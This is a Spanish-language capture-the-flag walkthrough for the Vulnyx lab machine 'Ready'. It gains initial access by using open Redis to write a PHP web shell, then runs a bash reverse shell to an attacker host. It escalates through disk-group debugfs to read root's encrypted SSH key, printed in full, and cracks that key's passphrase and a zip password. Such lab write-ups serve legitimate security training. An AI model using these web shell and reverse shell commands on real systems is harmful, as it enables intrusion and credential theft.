Ready Vulnyx (Easy - Linux)

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-11 03:14 EDT
Nmap scan report for 192.168.5.75
Host is up (0.00071s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
|   256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
|_  256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Test Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
6379/tcp open  redis   Redis key-value store 6.0.16
8080/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Test Debian Default Page: It works
MAC Address: 08:00:27:82:6D:B2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.61 seconds

Veremos varios puertos interesantes, pero entre ellos dos los cuales suelen alojas paginas web que serian el puerto 80 y el 8080 vamos a ver que contiene cada uno de ellos.

Si entramos dentro del puerto 80 veremos una pagina de apache normal por defecto, pero si entramos en la del 8080 veremos exactamente lo mismo, no veremos nada interesante fuera de lo normal, por lo que vamos a realizar un poco de fuzzing.

Si lanzamos un gobuster no veremos gran cosa, no nos va a detectar mas subdirectorios web ni nada parecido, por lo que solo nos queda el puerto 6379 vamos a ver que hace y como funciona.

Redis (6379)

Qué es Redis

  • Es una base de datos NoSQL que guarda datos en memoria (y opcionalmente los persiste en disco).

  • No tiene “tablas” como MySQL, sino claves (keys) y valores (values), que pueden ser strings, listas, hashes, sets, etc.

  • Se administra normalmente vía CLI (redis-cli) o con librerías en varios lenguajes.

Por lo que vemos podemos acceder al mismo de forma anonima, vamos a probar si pudieramos conectarnos de forma anonima.

redis-cli -h <IP_VICTIM>

Info:

192.168.5.75:6379> PING
PONG

Veremos que nos hemos conectado de forma exitosa, realizamos un PING para ver que funciona y efectivamente estamos dentro, dentro del mismo podremos modificar o subir archivos, lo que se nos ocurre que a lo mejor podremos subir una webshell a la ruta de los archivos web para realizarnos una reverse shell desde la web.

Escalate user ben

CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET x "<?php system(\$_GET['cmd']); ?>"
SAVE

Una vez echo esto, vamos a probar metiendonos en la pagina web de esta forma:

URL = http://<IP>:8080/shell.php?cmd=id

Info:

uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)

Vemos que esta funcionando de forma correcta, por lo que vamos a realizar una reverse shell.

URL = http://<IP>:8080/shell.php?cmd=/bin/bash -c "/bin/bash -i >%26 /dev/tcp/<IP_ATTACKER>/<PORT> 0>%261"

Ahora antes de enviarlo nos pondremos a la escucha:

nc -lvnp <PORT>

Si enviamos lo anterior y volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.75] 46598
bash: cannot set terminal process group (461): Inappropriate ioctl for device
bash: no job control in this shell
ben@ready:/var/www/html$ whoami
whoami
ben

Vemos que hemos accedido de forma correcta con el usuario ben por lo que vamos a sanitizar la shell.

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Ahora que ya tenemos una shell mas limpia vamos a leer la flag del usuario.

user.txt

e5d3f520423fdef77195ac688ecc27cb

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for ben on ready:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ben may run the following commands on ready:
    (peter) NOPASSWD: /usr/bin/bash

Vemos que podemos ejecutar el binario bash como el usuario peter, simplemente con este comando podremos ser dicho usuario.

sudo -u peter bash

Info:

peter@ready:/home/ben$ whoami
peter

Pero no nos interesa nada este usuario, ya que no puede hacer nada, volviendo al usuario ben si hacemos id veremos el siguiente grupo:

uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)

Vemos que pertenecemos al grupo disk podremos usar un comando dentro de debugfs, para leer el archivo directamente desde el sistema de archivos ext, sin pasar por la capa del sistema operativo o permisos tradicionales.

Con esto lo que podemos hacer es poder leer cualquier archivo, vamos a probar si root tuviera alguna clave privada de esta forma:

df -h

Info:

Filesystem      Size  Used Avail Use% Mounted on
/dev/sda1       6.9G  1.5G  5.1G  22% /
udev            473M     0  473M   0% /dev
tmpfs           489M     0  489M   0% /dev/shm
tmpfs            98M  492K   98M   1% /run
tmpfs           5.0M     0  5.0M   0% /run/lock

Ya sabemos que donde tenemos que entrar es en /dev/sda1, por lo que haremos esto:

debugfs /dev/sda1

Info:

debugfs 1.46.2 (28-Feb-2021)
debugfs:

Dentro del mismo vamos a ejecutar el siguiente comando simple:

cat /root/.ssh/id_rsa

Info:

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,02E266E7A66462FE

tTN5G66QaZHsjOSYG8pFEQqUJUC4lw+WzHs3hbml1+zuLPmnDvUapYFB/4IgQNG2
jp1tebAwENVz/CdS3paB60NB9uosYXHa60Sbi7a31Ej6QqH10UnN/NROSEhqZkt+
dUcQspoDJIvHyvdhm4lIVizfvw1i9epxY+aB9W7vscpN1HAq37WdOn62nnEccLRs
wShZgOeOLTUo5j+C0oQZDi11ZJxEFiwwCFkOqZ+ZEQgshQqgG8PjMvedwuQcFjpN
wgFyQl0ZzGTzaj1iZntc/7G1/9WqXyk3IkpICucALCaSlCZ3Oh0kJd12W27vTKdO
kBpXNU8cgjc+jbIKveFZe6+ZuMwr3Lb9p+f+m7ktcTk/AFxSObuFnHBZN52VE/F4
lVK8vR7Om8qg34REgbvkmrBttg7x4AzUsTZ1WPPJqu3VS0SGVyq8vkpA2ngHmMBC
h3Ca0Xjua55GzCFBGePrQmqOd8jKZ0W6HBfCQyGB/dGg57mKNQy1OSIR4XtFYDYN
wNGTgr4KPebWf1CYRg2nleu3DD3sezutvoVMLJdzoeaLrCPX0pdfEhBase7n72Gy
Q6zqrk07p5GQeuL3tfhBsbHqgK899IMPr2VZPwvaoibDF66UJ1unfEXiPzTTHDo9
5MTR1GK7HYnmtypx3OpCDJMFGwaJgx+o944cxX9DQ63pgwx1R34RoQRfIgqUUrsG
NhEkLvrYFMnlK/dSmouuNFvd868zBlMByQyVYoepyHGhsGDuAP4Mhx7L1Gbj4dRS
dMgfgLN0lM0G+P9QvmmX7TuH1MU1IIfZZw9dCfdUqVVKyegA2RQ7fZG9D8o3l1J0
bIj0VJE7ykqqZEndzgBGRw3bEu3/OKpJM2UFqr/pPlu1w1bVIzHrTPNI5nk6dm77
n/TqwSgU2EQDWK88Z8TORZvuoNA3FelyzxCfRC2HLv0+QrVbyY7dLf3oLH0Zq+gK
1OYVrTKbe4pu0J2R7jZw20pLWeEZPuSE3RmVwcSsVzwb6dBk5rMkwCE5gG1qNh1U
koCqtHzXveisx5I7KrvBj5RTaK/aPX/v8BS/oh8AmiQr2Pqq9K+aQScP2XYh691x
yfVoFGJrZMcG5VD3QxrgWamgcHhug2LotpRbxjc777uK/muI9rUSQLYC06H2Cdf/
kRUH9Ohf3ZrVXpcCMhuCBbOxYBr+TAGjwJIBAYuFMBqhZ4gyaZhxJMCBhQOJHy6c
xR2cUdOAUh9lY40/o0Pwf+5GWiX2u5KmzcZ9iLdJ4NtgYiYMjGMe+0G37PdCXJvG
D+VsowoqCou916TMZUKpYSkzj8q3GLSib6CumVzKDesMLaYiZTOd1ShBqTlYjorp
Dlo5vrgUFk17OS8n0gtQuavBvN+2aM6gMOgiJrXfeLjzPGoY2ypHyNlbp/JI0/Y+
DfE+2kNqriAlvZps1mllIKITk1wNPQ3PVuBW9DkvrSUW7Ye+oMK3WoiQkY4qyu+2
pN0okmXmT5ygTq9KBQUEtjU8RnY27y34nYwCQus0HCA+FfRoxDbJYl0sN2g/Mzjq
PWVlSZLxzcya8sxPBA8gto3H5BxFnTxRXbCBTjTL09imi3QMl9K1emUlG8rSpBsI
-----END RSA PRIVATE KEY-----

Vemos que lo hemos conseguido, pero tambien veremos que esta encriptado la clave, por lo que vamos a ver si conseguimos decodificarla con estos comandos desde nuestro kali.

id_rsa

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,02E266E7A66462FE

tTN5G66QaZHsjOSYG8pFEQqUJUC4lw+WzHs3hbml1+zuLPmnDvUapYFB/4IgQNG2
jp1tebAwENVz/CdS3paB60NB9uosYXHa60Sbi7a31Ej6QqH10UnN/NROSEhqZkt+
dUcQspoDJIvHyvdhm4lIVizfvw1i9epxY+aB9W7vscpN1HAq37WdOn62nnEccLRs
wShZgOeOLTUo5j+C0oQZDi11ZJxEFiwwCFkOqZ+ZEQgshQqgG8PjMvedwuQcFjpN
wgFyQl0ZzGTzaj1iZntc/7G1/9WqXyk3IkpICucALCaSlCZ3Oh0kJd12W27vTKdO
kBpXNU8cgjc+jbIKveFZe6+ZuMwr3Lb9p+f+m7ktcTk/AFxSObuFnHBZN52VE/F4
lVK8vR7Om8qg34REgbvkmrBttg7x4AzUsTZ1WPPJqu3VS0SGVyq8vkpA2ngHmMBC
h3Ca0Xjua55GzCFBGePrQmqOd8jKZ0W6HBfCQyGB/dGg57mKNQy1OSIR4XtFYDYN
wNGTgr4KPebWf1CYRg2nleu3DD3sezutvoVMLJdzoeaLrCPX0pdfEhBase7n72Gy
Q6zqrk07p5GQeuL3tfhBsbHqgK899IMPr2VZPwvaoibDF66UJ1unfEXiPzTTHDo9
5MTR1GK7HYnmtypx3OpCDJMFGwaJgx+o944cxX9DQ63pgwx1R34RoQRfIgqUUrsG
NhEkLvrYFMnlK/dSmouuNFvd868zBlMByQyVYoepyHGhsGDuAP4Mhx7L1Gbj4dRS
dMgfgLN0lM0G+P9QvmmX7TuH1MU1IIfZZw9dCfdUqVVKyegA2RQ7fZG9D8o3l1J0
bIj0VJE7ykqqZEndzgBGRw3bEu3/OKpJM2UFqr/pPlu1w1bVIzHrTPNI5nk6dm77
n/TqwSgU2EQDWK88Z8TORZvuoNA3FelyzxCfRC2HLv0+QrVbyY7dLf3oLH0Zq+gK
1OYVrTKbe4pu0J2R7jZw20pLWeEZPuSE3RmVwcSsVzwb6dBk5rMkwCE5gG1qNh1U
koCqtHzXveisx5I7KrvBj5RTaK/aPX/v8BS/oh8AmiQr2Pqq9K+aQScP2XYh691x
yfVoFGJrZMcG5VD3QxrgWamgcHhug2LotpRbxjc777uK/muI9rUSQLYC06H2Cdf/
kRUH9Ohf3ZrVXpcCMhuCBbOxYBr+TAGjwJIBAYuFMBqhZ4gyaZhxJMCBhQOJHy6c
xR2cUdOAUh9lY40/o0Pwf+5GWiX2u5KmzcZ9iLdJ4NtgYiYMjGMe+0G37PdCXJvG
D+VsowoqCou916TMZUKpYSkzj8q3GLSib6CumVzKDesMLaYiZTOd1ShBqTlYjorp
Dlo5vrgUFk17OS8n0gtQuavBvN+2aM6gMOgiJrXfeLjzPGoY2ypHyNlbp/JI0/Y+
DfE+2kNqriAlvZps1mllIKITk1wNPQ3PVuBW9DkvrSUW7Ye+oMK3WoiQkY4qyu+2
pN0okmXmT5ygTq9KBQUEtjU8RnY27y34nYwCQus0HCA+FfRoxDbJYl0sN2g/Mzjq
PWVlSZLxzcya8sxPBA8gto3H5BxFnTxRXbCBTjTL09imi3QMl9K1emUlG8rSpBsI
-----END RSA PRIVATE KEY-----
ssh2john id_rsa > hash.ssh | john --wordlist=<WORDLIST> hash.ssh

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 4 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
shelly           (id_rsa)     
1g 0:00:00:00 DONE (2025-08-11 03:49) 20.00g/s 19840p/s 19840c/s 19840C/s marie1..babyface
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Veremos que hemos conseguido la contraseña del id_rsa por lo que vamos a utilizarla conectandonos con el usuario root mediante SSH.

chmod 600 id_rsa
ssh -i id_rsa root@<IP>

Metemos como contraseña shelly...

Info:

Enter passphrase for key 'id_rsa': 
Linux ready 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
Last login: Wed Jul 12 18:22:32 2023
root@ready:~# whoami
root

Con esto veremos que estaremos dentro por lo que leeremos la flag del usuario root.

Veremos que la propia flag esta comprimida, por lo que vamos a pasarnosla a la maquina kali mediante un servidor de python3 (python3 -m http.server).

Una vez que este en nuestro host si intentamos descomprimirlo nos pedira una contraseña, por lo que vamos a crackearla de esta forma:

zip2john root.zip > hash.zip | john --wordlist=<WORDLIST> hash.zip

Info:

ver 2.0 efh 5455 efh 7875 root.zip/root.txt PKZIP Encr: TS_chk, cmplen=43, decmplen=32, crc=68F3F801 ts=91CA cs=91ca type=8
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
already          (root.zip/root.txt)     
1g 0:00:00:00 DONE (2025-08-11 03:53) 33.33g/s 819200p/s 819200c/s 819200C/s christal..280789
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Veremos que lo hemos conseguido, por lo que vamos a descomprimirlo de una vez con la contraseña obtenida.

unzip root.zip

Metemos como contraseña already y veremos que lo descomprimimos de forma correcta.

root.txt

cf537b04dd79e859816334b89e85c435

Last updated